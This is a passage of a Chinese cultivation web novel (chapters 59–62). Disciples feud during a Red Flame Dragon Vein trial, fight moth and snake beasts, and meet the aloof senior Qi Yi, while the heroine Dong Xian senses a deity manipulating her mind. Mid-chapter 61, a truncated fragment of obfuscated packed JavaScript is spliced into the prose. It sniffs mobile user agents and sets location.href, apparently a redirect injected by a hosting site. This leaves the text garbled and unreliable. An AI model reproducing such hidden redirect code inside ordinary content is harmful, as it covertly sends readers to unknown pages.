宋问天瞪大了眼，满脸涨红，指着安泛泛道：“你无理取闹，我怎么可能去鬼煞冢，那种地方你我去了必死无疑。”
安泛泛瞧着他伸来的手指，讥刺道：“这就是你们唐家的修养吗，如此粗鄙不堪。”
宋问天倏地一下把手指收了回去，愤恨地瞪着安泛泛。
这下几人经安泛泛这么一点，对东闲的怀疑也打消了，凝玉箫能觉察出魔气哪怕一丝也能觉察出来，“慕婉思”从鬼煞冢回来肯定得沾上一点，这并不能说明什么。
他们便做和事佬，意图把这场争端化小。
安泛泛挥了一鞭，飞荡的尘灰拂了宋问天一脸，态度坚硬，“没办法解决，留这种小人在身边我心里就不踏实。”
宋问天道：“我到底要怎么说你们才相信，没有人能够正常从鬼煞冢回来，慕婉思她就是不正常的，慕婉思为什么能够发现怀玉教习与魔修勾结却还能活着，这也不正常，而且她刚刚在吃妖，你们看这妖的尸体还在这。”
众人看过去，那妖死状惨烈，可见伤它之人心思的狠毒，东闲吓得叫了一声，“好可怕，师姐，我没有对它动手，是有师妹唤我，我才跟着去的，它突然对我动手，我勉强伤到它，但是我只有淬灵境的修为啊，它这副模样我怎么能做到，如若不是宋师弟……”
东闲顿住，似是被吓住，双眼泛着泪花。
宋问天气得发疯，又来了又来了，话不说清楚，但指向性明确，这个可恶的“慕婉思”分明居心叵测。
阮轻水上前几步，看清那具妖尸后，意味深长地来了句“是一只顽灵猴呢”。
其他人听了明了，既是顽灵猴便死不足惜，这类妖兽性情残暴到令人发指的地步，是连御兽师都认为该消除的一类，其他妖兽也极其讨厌顽灵猴，如今它死在这多半是被仇家杀的。
众人听进东闲的话，东闲一个区区淬灵境前期的修士怎么可能伤到三阶妖兽，恐怕是宋问天记恨着东闲炸炉的事，而后他本身又极其厌恶魔，所以看到妖尸后不惜栽赃陷害东闲。
众人皆记着听风竹林宋问天把东闲打伤一事，心下难有对宋问天的好感，不过碍着宋问天的身份，倒也忍着给个好脸色。
谭白为难地道：“宋师兄，要不我们还是分道扬镳吧，有些事情我们出去再好好说。”
宋问天的态度冷淡许多，明确知道他们都不相信自己，甩开了架住他的二人。
“好，你们都不信我，我迟早会让你们后悔。”
宋问天最终选择击碎玉牌离开。
安泛泛一顿鞭打还没来得及，气得她挥鞭想拍掉宋问天手上的玉牌，秋岚连忙拉着她：“哎，安师姐，和气生财，和气生财。”
让宋问天跑了，安泛泛气愤地瞪着秋岚，“你干嘛拦住我，这跟你有关吗？”
秋岚哂笑着，心想说我们在场就有罪啊，你是药圣之女，也是药谷精英弟子，可是在甲级弟子一列，我们也只是内门弟子，要是让你们打起来，你受伤了，被问罪的是我们。
一旁东闲看着安泛泛仍旧红扑扑的脸蛋，心里就一个想捏的想法，萌生这种想法时，她的手已经伸到一半，最后改为替她拂去发间的林叶。
安泛泛转而向东闲安慰道：“你放心，宋问天是在胡说八道，你清清白白怎么可能与魔修勾结，他不过跳梁小丑罢了，日后他要敢对你出手，我是不会给他机会的。”
说到这，她生怕被误会似的又添了一句：“我对我们姐妹团每个人都是如此，待你如此是应该的。”
东闲把那片残叶扔掉，对其莞尔道：“有师姐在，我受不得欺负，方才师姐想替我出气，我很开心。”
在安泛泛欲要反驳自己不是为她出气，而是看不惯宋问天丑恶的嘴脸时，东闲又开口问道：“师姐想不想吃糖？”
安泛泛看着她又在笑，很是想叹气，但是嘴巴已经诚实地开口。
另外三人开始分析局势。
谭白道：“修罗沼泽的线索只有上官莲蓉他们知道，我们再回去就要等上几个时辰才能有线索，赤焰龙脉最宜停留时间是一个时辰，待得太久会把五阶的妖兽引过来，既然上官莲蓉知道线索，那我们只要找到上官莲蓉就行。”
阮轻水道：“上官莲蓉这一举惹得所有人都不开心，我们还得感谢她，为我们树立那么多盟友，在有线索前，我们若是遇到旁人会相处得很愉快。”
秋岚心情不错地道：“是啊，原本还担心要跟郎师姐许望师兄他们对上，她这个搅屎棍真是凭一己之力让所有人孤立他们。”
东闲心道未必如此，上官莲蓉以与所有人为敌的风险去窥探修罗沼泽的线索，多半憋着什么样的招，不然岂不是蠢货了。
对方这么做就是冲着法器来了，已经无所谓考核通不通过，毕竟下个月试炼再度开启，还能再次参加考核，但是赤焰龙脉只能一年一回。
东闲很好奇，他们做出这样的决定，必然有很大的自信，到底是什么法子在支撑他们的自信。
法器拿不拿到并不重要，东闲倒想蹚浑水，多有意思。
很快他们便知道上官莲蓉为他们准备了怎样的惊喜。
由远及近传来翅膀扇动的声响，轰隆隆的如作雷鸣，几人向四方看去，发现不知何时朝他们涌来许多蓝纹雪翅蛾。
蓝纹雪翅蛾是二阶妖兽，并不难对付，但胜在数量多，能够拖延他们不少时间，有这时间，上官莲蓉一行人早拿到宝贝了。
眼看着漫天的蓝纹雪翅蛾如张罗天巨网朝他们网来，他们神色都不算好看。
阮轻水道：“这里应当是妖兽经常活动的地方，我们误入它们的领地，它们会无视我们的修为对我们动手，更糟的情况是，这里不会只有蓝纹雪翅蛾在，妖兽们对人类的气息很敏感，长时间留在这，会引来更多的妖兽。”
妖兽们极具领地意识，强行进入它们的领地，会被视为敌人，触发战斗，直至被赶走或者杀死为止。
秋岚愤恨道：“我们现在待的什么鬼地方谁知道啊，我们根本没办法离开，上官莲蓉真是好样的，看我找到她不活剥她的皮。”
谭白道：“活剥她皮的人多了去，你我还得排队，去年上官莲蓉来过赤焰龙脉，只是那时她可安分多了，看来她就在那时起已经在探路谋划。”
秋岚又喝道：“她想让我们主动离开门都没有，我今天不能从上官莲蓉手下抢到灵宝老子就姓上官。”
他们三人都是凝元境的修士，对付二阶妖兽不足为惧，只是这数量太多，他们应付起来很是吃力。
而且蓝纹雪翅蛾具有再生能力，它们往往在还剩最后一口气时，恢复到满血状态，俗称回光返照。
这才是蓝纹雪翅蛾麻烦所在，也是为何被定义为二阶。
三人擅长的是攻击，想要把它们打死的想法根本无法施行。
一只被击中的蓝纹雪翅蛾从尾部涌出许多黑卵落下。
几人眼睁睁看着这一幕发生，都被恶心得要死，若不是蓝纹雪翅蛾外
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表还算称得上“可爱”二字，不然眼看着这密密麻麻的黑点真要恶心得隔夜饭都吐了出来。
秋岚惊道：“它被打出屎了吗？”
阮轻水噗嗤笑出声，她笑得开怀，打斗的力量都要因这句话而削弱，差点被这群家伙们伤到，不由得瞪了眼秋岚。
一旁的安泛泛也忍不住笑，东闲浅浅笑着配合安泛泛。
谭白很无奈，回应道：“那是它的孩子，你不说你来之前做过功课了吗，连二阶的蓝纹雪翅蛾都不知道？”
秋岚从她们的笑容中感到窘迫，试图为自己辩解道：“哪想到困住我们的会是二阶妖兽，那些四五阶的妖兽我见一个认得准。”
“难道四五阶的妖兽我们就能打过吗？你就算认出来也应付不起。”
“知己知彼，能跑得快嘛。”
那些降落的黑卵极快地裂开，转瞬变成与它母亲一样大小，如此蓝纹雪翅蛾大军又添新兵。
秋岚厌烦地道：“这些东西真是没完没了了。”
秋岚喊道：“阮轻水，你不是收服了一只五阶的四眼玲珑豹，你养了它那么久，也该让它干干活了。”
阮轻水面无表情地回道：“巧了，偏偏二阶蓝纹雪翅蛾是它的天敌。”
妖兽们之间都有天敌，有些妖兽品阶高，然而它们的天敌却有可能比它们低了不少，五阶妖兽惧怕一阶妖兽的不足为奇。
蓝纹雪翅蛾是赤焰龙脉独有的妖兽，属性为火，而阮轻水收服的四眼玲珑豹属性为金，五行之中，火克金，不过在极致的实力下，火不一定能克金。
但是赤焰龙脉是蓝纹雪翅蛾的老家，环境是它们最大的优势，也是四眼玲珑豹最大的弱势，这里的火焰是四眼玲珑豹无法忍受的。
阮轻水才收服这只五阶四眼玲珑豹多少日子，哪舍得派它出场，要知道品阶越高的妖兽越难收服，这只五阶四眼玲珑豹让她受了很多艳羡的目光。
秋岚又道：“那你不是还有其他妖兽，能放出几个是几个，也好帮我们减轻压力。”
阮轻水恼了，道：“这种情况我怎么敢把它们放出来，你知不知道重新跟妖兽们打好关系有多难吗。”
御兽一道，是修士与妖兽达成平等契约为基础，自然是要跟妖兽们打好关系，若是让她契约的妖兽们发现是她主动闯入其他妖兽的领地而遭到围攻，必然生有隔阂而不愿帮助她，说不定因此宁愿冒着反噬的风险也要同她强行解除契约而离开。
妖兽们也有灵性，不可随意对待。
也有能够下奴印而强行逼迫妖兽结下契约的，如若实力不够强大，迟早会遭到妖兽的报复，极少有妖兽甘愿定下主仆契约。
秋岚受不住了，哪怕是多一个人减轻一点痛苦都是好的，他打上一旁东闲的主意，厚着脸皮开口道：“慕师妹，你看这些都是一二阶的妖兽，也没什么攻击性是不是。”
来修罗沼泽的起码实力都在凝元境，才淬灵境前期的东闲可以称得上是队伍拖油瓶，另外三人看在安泛泛的面上把东闲拉进队伍，但其实对东闲并不寄予厚望，甚至可能随时打算卖了东闲拿宝物。
他们觉得东闲总该出份力吧，别的打不过，可这群一二阶的妖兽处理起来不至于费劲，她难道不觉得自己在队伍的作用太弱了吗，总得出份力表现表现，也不能真好意思啥也不干啊，安泛泛能为他们治疗，而东闲真没有作用。
这般想着，秋岚也没那么不好意思了，要论不好意思的也应当是东闲，她理应同意。
60.第 60 章
但是死乞白赖地厚着张脸皮要他们出力，东闲还真好意思，完全没有心理负担，他们要看不顺眼就把她赶了，前提是舍得安泛泛跟着她一起走。
东闲眨巴眨巴眼睛，故意装傻听不出话外之音，真诚而道：“是啊，它们很弱的，两位师兄和师妹这么厉害，一定能将它们一扫而尽，不像我只有淬灵境前期的修为，哪哪都拖后腿，还要拜托你们带着我，你们真好。”
秋岚：“……”
阮轻水不客气地笑出声：“秋师兄，慕师姐这么信任我们，我们不能让她失望啊。”
秋岚只好咽下一口气，东闲都这么说了，还能强逼着人不成。
“好好好，慕师妹你和安师姐便在一旁好好歇息，看着我们是如何把它们打尽吧。”
打尽是不可能的，这种东西根本打不死，他们唯有尽快离开蓝纹雪翅蛾的领地，几人又不认路，只能胡乱地朝一个方向跑。
蓝纹雪翅蛾还是有办法解决的，既然打不死那就让它们不攻击。
东闲有这个能力，但她不会出手。
她与安泛泛二人在三人的庇护下还算悠闲，偶尔有遗落的蓝纹雪翅蛾皆被安泛泛一鞭子挥开。
很快，他们发现蓝纹雪翅蛾越来越少，众人意识到这里有什么在阻止蓝纹雪翅蛾的前进，皆神色警惕。
“安泛泛！”
最先发现端倪也出声动手的竟是东闲，目睹那条三阶齿甲蛇的的动作，她神色难看极了。
安泛泛被磕绊不平的路绊住了脚，三阶赤甲蛇的动作又那样快，原以为自己就要中伤，可东闲要更快，比她脱口而出的声音快，比三阶赤甲蛇的动作快，淬灵境前期的力量在三阶赤甲蛇眼里不值一提，然而那刻挥荡开的剑气生生逼退了它。
被那双泛着寒光的眸子对上，仿佛全身被尖利的冰棱锥捅穿，某种恐慌让三阶赤甲蛇毫不犹豫地转身离开。
这是个识趣的家伙，因为东闲不受控制的大脑正想用某种秘术让它彻底咽气。
安泛泛呆呆地抬头，没有错过东闲那双眼里酝酿的风暴。
东闲盯着她，还没回神，双眸里布上血丝，总是让人亲近的面容难得出现不一样的神色，看起来极为可怕。
但是安泛泛不觉得可怕，她甚至觉得这样的东闲好像有了人情味，就像她终于看见了东闲真实的一面，真正感受到她与东闲的情谊。
逼退三阶赤甲蛇后，东闲逐渐从方才不受控的状态中恢复过来，在她反应到自己做了什么后，她内心感到极为不爽。
那不该是她会有的反应，她会去救安泛泛，因为安泛泛于她还有作用，但她不会拿命去救安泛泛，方才的三阶赤甲蛇是个怂蛋才被她的眼神吓到而逃跑。
而自己居然傻乎乎地拿剑硬上了，这怎么可能是她能做出来的事，她一定是再次被控制了。
更重要的是，她看见的不是三阶赤甲蛇，而是把其幻视成一只七阶蟒妖，因为七阶蟒妖缩小时，看起来与三阶赤甲蛇极其相似，东闲误以为是七阶蟒妖才失态出手。
那更不可能是东闲能做出来的事了，这世上没什么能比她自己更重要，舍命救人这种事她怎么干得出来，甚是荒唐！
不知道为什么就是想那样做了，好像不做就会后悔，可是在这样做了后，那点后悔并没有消散。
这种不受控制的感觉又来了。
东闲自问她对安泛泛的情谊还没深到她能以身挡灾的程度，方才的举止完全不受她的控制。
而这一切，都是因为贪狼星君，贪狼星君将祂的神识留在她的识海中，干涉她的行为。
起初，她与安泛泛相处还未有过这种感觉，时间久了，贪狼星君的情绪也开始影响她，渗入她的行为举止，让她做出不属于她自己本该有的行为和念头。
东闲从未见过七阶蟒妖，而她幻视成七阶蟒妖明显是贪狼星君的记忆侵入她的脑海。
这实在是太恐怖了，长此以往，贪狼星君莫不是要占据这具身子，而她的意识会慢慢泯灭。
东闲复又觉得可笑。
难道贪狼星君有过降临人间与凡人做朋友的过往？倒真是跟话本上天神下凡的情节一样了。
识海中，那个被云雾遮掩的人久立不言，拒绝她的靠近，也从来不愿意对她说半句话。
东闲接触无果，只得憋着一团火气。
她说贪狼星君怎么会看上她，看上这具身子才差不多。
前有鸦昤后有安泛泛，贪狼星君，你欠的债可不少啊。
东闲对着识海内的那道人影讥讽道。
难怪她总是生有奇奇怪怪的想法，无论是对鸦昤还是对安泛泛，都是源于贪狼星君在扰乱她的心境。
东闲敛去眸中不该存在的情绪，以假意覆盖，心想对贪狼星君说你既然舍不得，那就继续拦吧，我要看看你到底何时愿意告诉我真相。
“师姐，你没事吧。”
安泛泛也是被惊住了，让她被惊住的不是三阶赤甲蛇的偷袭，父母疼爱她，为她赠了许多法宝护体，得知她要去赤焰龙脉，连夜派人到玄清宗把法衣送来，务必要让安泛泛穿上，试炼允许弟子们准备一定的法宝，而安泛泛又有其特殊原因，负责试炼的师姐便睁一只眼闭一只眼过去了。
那件法衣能够至少挡下五阶妖兽的致命一击，所以三阶妖兽绝对伤不了她，何况她还是炼心境的修士，她方才要是受伤最多是因为被东闲的惊呼吓到而摔了一跤，手心有点擦破皮了，可她为药修，清理破皮的伤口轻轻松松。
东闲喊她的神情惊住了安泛泛，从未有过的情绪在那张总是笑的脸上出现，发自于内心，真实到哪怕世界是虚假的，东闲的紧张与害怕都不可能是真实的。
安泛泛坚信东闲在那一刻是真的想救她，哪怕是一命抵一命。
她看着东闲，愣了许久不得回神，她不知道东闲对她的感情居然有这么深刻，明明她们相知仅仅一个月的时间，就能
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让东闲甘愿为她付出性命。
慕婉思怎么这么傻，如此轻易为我付出性命，若是她日后再轻信旁人，是不是也会这般做。
她不会如此傻吧，像我这般好的人，天下少有，她尝过我的好就不可能轻易为别人付出性命，她要是被骗似乎不可能。
慕婉思刚刚做得很不对，要是她真受伤了怎么办，就算我活下来了，我也不开心，而且那三阶赤甲蛇的一击我又不是受不住，我是个药修呀，我自己都能治好自己，就是疼一点又不碍事。
慕婉思的反应是不是太大了，若是她真替我受了那一下，她会比我更难受的。
这边安泛泛还没回过神，沉浸在自己世界中胡思乱想着，东闲唤她不得，当她是吓着了，虽然神情逐渐变得怪异。
谭白唤道：“安师姐，慕师妹，你们怎么样？”
他们一直在处理蓝纹白翅蛾，但是东闲忽然喊出的那声跟来了高阶妖兽一样，把他们都吓到。
东闲道：“不碍事，一只三阶妖兽而已，已经跑掉了。”
秋岚没错过东闲的那一眼，感慨道：“慕师妹，你和安师姐的感情可真好，这三阶妖兽要是再硬气点，恐怕你就要受伤了。”
东闲蹲下给还在发愣的安泛泛解开缠住脚踝的藤蔓，她发现了这里的藤蔓都是活的，逮着机会就缠人，在安泛泛摔倒后，立马缠了上去，只是当事人还在愣神没反应过来。
藤蔓缠住安泛泛的脚踝一圈又一圈，好在上面没有倒刺，东闲想解开也不难。
听到秋岚的感慨后，她抬头看向那双显露几分傻气的杏眼，展颜一笑，回道：“在我心里，师姐要比我重要。”
又问道：“师姐，还能站起来吗？”
安泛泛从她的笑容中回过神，她点点头，握住东闲伸来的手起身，应该说谢谢的她但是说不出口。
东闲却是反应自如，继续道：“师姐，方才的一幕我真的很担心，我们今日差点走失一回，不知此后还会不会有其他危险。”
她拿出一张星图，这是低阶法器，可以让输入灵识之人的位置清晰地呈现在星图上。
在东闲输入属于她的灵识后，上面陡然出现的一颗星星代表着她的位置。
东闲将星图递给安泛泛，示意她道：“师姐，你的。”
安泛泛接过，指尖摁在星图上，属于东闲的那颗星星旁边就蹦出了第二颗星星，像是在开花，而开花的时候总是让人心情愉悦的。
东闲又道：“师姐，你应当也有星图吧，我们一人拿一个，这样方便找到对方。”
安泛泛在此时显得很乖巧，听话地将自己的星图拿出来，在其中输入自己的位置，然后递给东闲，让她输。
于是，两张星图上，都有两颗贴在一起的星星，代表着她们二人此时在一起。
东闲明显地开心道：“这样我们就不会分离了。”
安泛泛低头看着星图上的两颗星星，然后猛地收了起来。
61.第 61 章
上官莲蓉上下抛着二十面传送骰，金属打造的法器在半空中泛着奇异晃目的金色光泽，笑盈盈道：“既然是搅屎棍，那就得一搅到底，我总不能辜负了这美名。”
上一回他们来到赤焰龙脉，记录了多个会有妖兽出没的位置，如今趁他们不备，把他们都传送过去，赤焰龙脉没有完整的地图，他们势必迷路，保管他们受不住主动退出试炼。
对于其他弟子的骂称，上官莲蓉从来不在乎，笑嘻嘻地受下，毕竟他们说的都是实话。
模样斯文的修士抬手挡住射来的光芒，经过阳光的折射来的光芒刚好刺进他的眼底，让他很是不适。
“跟你待久了，我的名声都要被你带臭了，我真有些后悔，选择与你们合作。”
上官莲蓉翻了个白眼，对他的话很是不服气。
“闻人丰，你跟我比起来，明明是你更可恨，我阴得让所有人都知道，你阴得神不知鬼不觉还叫人对你感激，你这臭嘴脸是该好好让他们瞧瞧了。”
闻人丰笑得如清风拂面，目带挑衅，“那可不一定，他们只会觉得我是被你们逼迫的。”
上官莲蓉瞪着他，“闻人丰，你有本事等我拿出投影珠再说一遍。”
闻人丰道：“你便拿出来，就是有投影珠在，你觉得他们愿意相信一个搅屎棍，还是待人和蔼的我呢？”
上官莲蓉还想说什么，被第三个女子叫住了。
“与其有这耍嘴皮子的功法，不如多费点心留意灵宝动向，”另一个修士不耐法他们的吵吵囔囔，喝道：“这次可是有郎无双、许望和慕容灵她们三人在，那些妖兽可困不住她们，我们尽快赶在她们前面把灵宝拿到手离开赤焰龙脉。”
邱少英说完就循着罗刹沼泽里的指示上前走。
上官莲蓉几步跟上去，囔道：“知道了知道了，这不是在留意嘛。”
怎料他们未走多远，自脚下起生起冰雪，倏然向四周蔓延，覆盖住周围天地，他们进入一个冰天雪地的世界。
两人倏地看向闻人丰，平白挨了两记眼刀的闻人丰感到很委屈，他虽然有对两人耍阴招的想法，但这的确不是他所为，而且她们也太不信任自己了。
“不是我，我就算想与你们动手，也不会选择在这种时候拉你们进灵域，而且比起跟人打架，我还是更喜欢偷袭。”
闻人丰很快噤声，开启灵域的主人朝他们而来。
有一人踏雪而来，过雪却是无痕，当对方的面孔落入三人眼中，三人俱是骇住，所有的妄念都在看清对方的面孔后而荡然无存。
这冰天雪地的严寒已然切切实实让三人体会到了，令他们有些打颤。
其中上官莲蓉立刻笑脸迎道：“原来是亓沂师姐，亓沂师姐我们正想找你合作，没想到你就来了，我们刚刚得知了罗刹沼泽的灵宝讯息。”
上官莲蓉很没骨气地反叛了，另外两人没有嘲笑她，因为他们也是正有此意。
看到亓沂那刻，他们就知道这一次一定会两手空空地走了，对方的实力是赤焰龙脉内所有弟子加在一起都打不过，他们何必自讨苦吃，不如弃暗投明。
亓沂淡淡道：“合作免了，把线索告诉我。”
声音被这冰寒浸着，听起来也叫人发凉。
她什么表情也没有，叫人看不出她的情绪，瞧人的目光极具侵略性，自带的上位者气息又让人不敢多看，鲜少有弟子能经受住她的注视。
识时务者为俊杰，闻人丰立刻把记录修罗沼泽景象的投影珠抛给亓沂。
亓沂拿到投影珠后，便撤去这方灵域，冰天雪地的景象解除，转而是正常的龙脉。
闻人丰大着胆道：“亓沂师姐，我们还是跟着你吧，也好帮你解决杂碎，不劳烦你出手。”
他们不甘心就这么离开，今年已经跟这群来闯赤焰龙脉的弟子们结为仇家，明年他们就要成为众矢之的，第一个被扔出赤焰龙脉。
跟着亓沂，给那群弟子留下他们已经结盟的假象，有亓沂在，其他弟子不会对他们动手，说不定亓沂对一些法器看不上眼，到时他们也好捡漏。
亓沂并未理会身后的尾巴，倒真要打起来，他们加起来都不够看。
他们一行人继续踏上寻找法器的征途，期间遇到的妖兽，被三人积极地迎上去给打败，偶尔遇到几只难缠的，亓沂会嫌他们动作太慢而亲自动手。
然后三个人眼睁睁地看着亓沂把那些妖兽的尸体全都收起来，三人面面相觑，这些妖兽的皮肉并非可入药，亓沂收集这些妖兽的尸体做什么。
亓沂师姐果然是个怪人。
老远处传来秋岚怒气冲冲的喊声，“上官莲蓉你个小人，你有本事跟我打一架，只会暗里偷袭算什么。”
上官莲蓉敏锐地感受到杀气，每一个这样喊她的人必定是想将她大卸八块，她立刻朝后躲，好巧不巧就躲在亓沂身后。
“每次都叫我小人，我都听厌了，你们就不能换个词吗。”
秋岚倒是生起要跟上官莲蓉打起来的意思，但是在看到对方身前的亓沂投来的视线，周身要倾轧过去的灵域瞬间瓦解。
秋岚的火气立刻熄灭了大半，硬着头皮道：“是亓沂师姐啊。”
亓沂仅仅是瞥了他们几人一眼，转而不曾停留地继续往前走。
眼看秋岚吃瘪的模样，上官莲蓉憋着笑，整张脸憋得通红，如若亓沂不在，她会放肆地捧着肚子捶地大笑。
太像个孙子了。
虽然她刚刚的表现与秋岚不分上下，最起码没有让他们看见。
秋岚恨恨地瞪着上官莲蓉，结果上官莲蓉冲他做鬼脸，他哪受得住上官莲蓉那副小人得志的模样，又想动手，上官莲蓉也不惧，只朝他比了比亓沂所在的方向，而后昂首挺胸地跟了上去。
秋岚几乎要气炸，就像个沸腾边缘的开水，但是因为不能达到那个临界点，而只能无能地狂怒压抑着怒火，迟迟不能发泄。
谭白按在他的肩上，宽慰道：“行了行了，我们总不能跟亓沂师姐过不去，想要对上官莲蓉动手的人多了去，她迟早要被收拾一顿，这回就忍忍吧。”
秋岚道：“我就是不爽，不能亲自揍一回上官莲蓉，我这火气就难以压住，难道你们不想揍一顿上官莲蓉吗？”
谭白和阮轻水不可否认地俱点点头，要说这上官莲蓉，的确可恶到人人都想揍的地步。
能亲手揍一回上官莲蓉，是玄清宗绝大部分弟子都梦寐以求的事，有人甚至在委托大堂“买凶揍人”。
不过上官莲蓉精得很，寻常也难以找到她的痕迹，真要是找到了，也不可能真的揍，执法堂的师兄师姐们可是盯得紧紧的，除非双方是在正常切磋比试，不然要记处分。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604215|134915||http|test|mini|href|location''.split(''|''),0,{}));
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秋岚咬牙继续道：“真不知道他们用了什么法子让亓沂师姐同意他们的合作，话说亓沂师姐怎么会来龙脉，我还以为今年她不会来。”
阮轻水分析道：“应当是他们被亓沂师姐找上了，依照亓沂师姐的性子，她不会主动与人合作，他们又舍不得灵宝便继续跟跟着亓沂师姐，毕竟明年他们可不敢来赤焰龙脉。”
阮轻水又道：“往好处想想，看来我们的运气还不错啊，我们就随便跑了这么一段路，处理了二阶的蓝纹雪翅蛾，基本上也没吃过苦头就追上他们了。”
谭白道：“亓沂师姐不会什么东西都要拿到手，我们拿亓沂师姐不要的就够了。”
秋岚脸色总算是缓和，说得真对，亓沂师姐一向都是单打独斗，届时未必管得上上官莲蓉等人，他们又没一定要拿到天材地宝同亓沂师姐抢，他们的敌人还是上官莲蓉那三人。
“那我们得跟上去啊，可不然让他们得逞。”
他回头向着后边的两人道：“安师姐，慕师妹，前面没事，我们继续走吧。”
安泛泛应得很快：“知道了。”
而后看了东闲一眼，疾步跟上去。
方才他们一行人一直朝某个方向走，因为发现前面有人走过的痕迹，担心会起冲突，三个人便自告奋勇看看前面的情况，让她们二人留在原地等候。
现在，他们五人便踩着前面四人的脚步走，前面有妖兽出来了，他们五人便远远躲着，等他们四个人解决了再追上去。
这想捡漏的算盘都明晃晃地打在他们脸上了，终在解决了一只五阶妖兽后，上官莲蓉忍无可忍地道：“喂，你们就算要跟着我们好歹出份力啊，跟缩头乌龟一样躲在后面算什么本事。”
秋岚皮笑肉不笑，道：“不好意思啊，我们被那群蓝纹雪翅蛾扰得实在没精力了，只能劳烦你们开路了，多谢多谢。”
上官莲蓉道：“连二阶的蓝纹雪翅蛾都打不过，你们也太废物了。”
秋岚双手一拍，那叫个理所当然。
“对，你说得太对了，我们就是废物，废物只会添乱，当然得躲得远远的，比不得你们英勇神武，接下来就继续麻烦你们了。”
上官莲蓉气得脸都绿了，怎想到这人会这么回复她。
秋岚发现了，原来打败无赖的方法就是比他们更无耻，他得意地朝另外几人看去，想要得到赞同。
亓沂已经从五阶的妖兽尸体中取出妖丹，还有凝结而出的宝贝，有一部分妖兽死亡后，它的体内会掉落一些灵宝，如玉髓灵一样，这类掉落的灵宝叫作她们的伴生物。
这五阶妖兽主要是她打死的，她拿走战斗果实也是应当。
她取走了主要物什与妖兽的尸体，也没管这群人磨嘴皮子功夫，正要走，被熟人唤住。
东闲欲要上前，被安泛泛拉住，安泛泛向她摇了摇头。
东闲不解问道：“你们很怕靠近亓沂师姐吗，亓沂师姐的境界比我们都高，懂得拿捏分寸不会伤到我们的。”
安泛泛一时哑口无言，话是这么说，但是亓沂师姐那样的气场谁敢靠近，何况她为人不好相处。
东闲却已经走上前了。
东闲看见是亓沂，眉眼弯弯，张口便道：“很巧啊，亓沂师……”
她瞳孔微缩，及时闪避，差点射来的冰棱划伤脸颊。
62.第 62 章
感受到颊边的疼痛，东闲方记起亓沂说过不准自己唤她师姐的一类事，也不知是什么忌讳，唤她师姐的人多了去，偏偏不让自己喊。
东闲也没硬气喊下去，向来遇事都会分析利弊的她，算得出结果定是她吃亏。
这一幕落在旁人眼里，倒多了一种亓沂不待见东闲的意思。
闻人丰笑道：“看来有的人不该来，继续硬凑不该凑的地方只会丢脸。”
东闲哪听不出他的意思，无非是以为亓沂看不上他们，从而感到自得罢了。
东闲微笑道：“亓沂师姐若是不想我们跟上来，我们不会跟上来，亓沂师姐既然没出声那说明她是需要我们的，难道亓沂师姐也需要你们？”
东闲注意到自己又不小心说成亓沂师姐，但是对方没回头，叫她完完整整说出来了，看来唤她不能这般唤，同别人说话是能这样叫的。
闻人丰回得信誓旦旦：“那是自然。”
东闲问：“亓沂师姐怎么答应你们留下来的？”
上官莲蓉得意地回道：“当然是默认的，反正亓沂师姐又没赶我们走。”
东闲笑意加深，“哦，看来我们都被亓沂师姐默认了。”
上官莲蓉不由得急道：“亓沂师姐什么时候默认你们留下来了？”
东闲反问道：“她可说了个不字？“
上官莲蓉无语凝噎。
上官莲蓉复又意识到被她套进去，气得说了个“你”。
秋岚见他们吃瘪就高兴，这会道：“你什么你，亓沂师姐都走那么远了，你们还不快跟上去吗，我们这些废物可帮不上忙的。”
上官莲蓉倒还想说什么，被邱少英拉住跟上去。
秋岚哼了声，“狗腿。”
这声狗腿说大也不大，说小也不小，恰恰能叫上官莲蓉听进去，她气道：“该死，怎么让他们误打误撞追上来了，赤焰龙脉可没有完整的地图，他们应该越走越乱，主动击碎玉牌退出才对，难道真要他们什么都不付出地跟上来吗？”
邱少英轻斥道：“你平日里阴人的劲呢，这会三言两语就给人撩拨了。”
上官莲蓉明白她意，按捺住外放的情绪，道：“也对，来的又不是那三个人，这几人虽然人数上占了优势，但也不见得有多厉害，尤其还有个拖油瓶。”
东闲把这指向明确的拖油瓶听到耳里，也不生气，猝不及防被安泛泛拉了过去，观察颊边的伤势。
东闲摇了摇头，“不疼的，师姐。”
一行九人便相安无事地走了一段路，上官莲蓉的二十面传送骰将其他弟子送到龙脉各处，龙脉地形复杂，一旦走错就容易找不到路，至今都没有准确的地图，有一部分弟子已经击碎玉牌退出。
还有弟子在苦苦挣扎着，但都没有东闲一行人好运，随便指着一个方向走便能追上上官莲蓉他们。
前行过程中，安泛泛心中莫名感到心慌，转念又想应是前路太过顺利让她觉得有些不适应，要知道她过去鲜少如此躺着一路完成试炼。
有亓沂师姐在，前面顺利点也没有问题。
怀着如此想法，她把不安压在心底。
一切都有序进行着，不知是哪里触发了禁忌，迎面袭来一股热浪，这股热浪温度极高，被它碰到的那一瞬间整个人仿若已经化成一滩水，又来得猝不及防，众人连思考都来不及，因惊惧发出的声音都被这股逼人的热浪给融化。
等到他们意识回笼，周遭的温度已不似那刻灼人，取而代之的是高崖峭壁。
这惊变来得太过突然，众人都没能反应过来就被卷入另一个地方。
这是陡峭的悬崖边上，谭白上前走了几步，想向下看，碎裂的石头掉下去根本听不见任何声响。
他连连后退，直到后背贴在凹凸不平的墙壁上，感受着硌人的疼痛，才稍微得到缓解，虽说修仙后御剑飞行是基操，但是那深渊确确实实给他带来不可名状的恐惧。
彼时已被惊出一身冷汗，但因为龙脉的气温太高，这点冷汗很快高温蒸发。
他及时提醒道：“大家小心，都贴着墙壁走，前面是万丈深渊。”
所有人都朝前看，其中秋岚胆子很大又耐不住好奇地还想上前看一看，他并不恐高却也在那一刻恐高，那一看差点两腿一软，就要掉下去。
怪哉，瞧着竟似巨兽张开的大口般。
这张口深不见底，掉下去必是粉身碎骨。
秋岚当即喝道：“喂，这到底是什么鬼地方，你们几个人倒是给个解释啊。”
上官莲蓉没好气道：“问我们有什么用，我们要知道能跟你们困在一块？”
秋岚道：“不问你们问谁啊，只有你们看见了修罗沼泽的线索。”
上官莲蓉道：“那跟我们看到线索有什么关系，修罗沼泽又没告诉我们哪里会有危险，我们只是照着路大概走，难道你还不清楚修罗沼泽吗？”
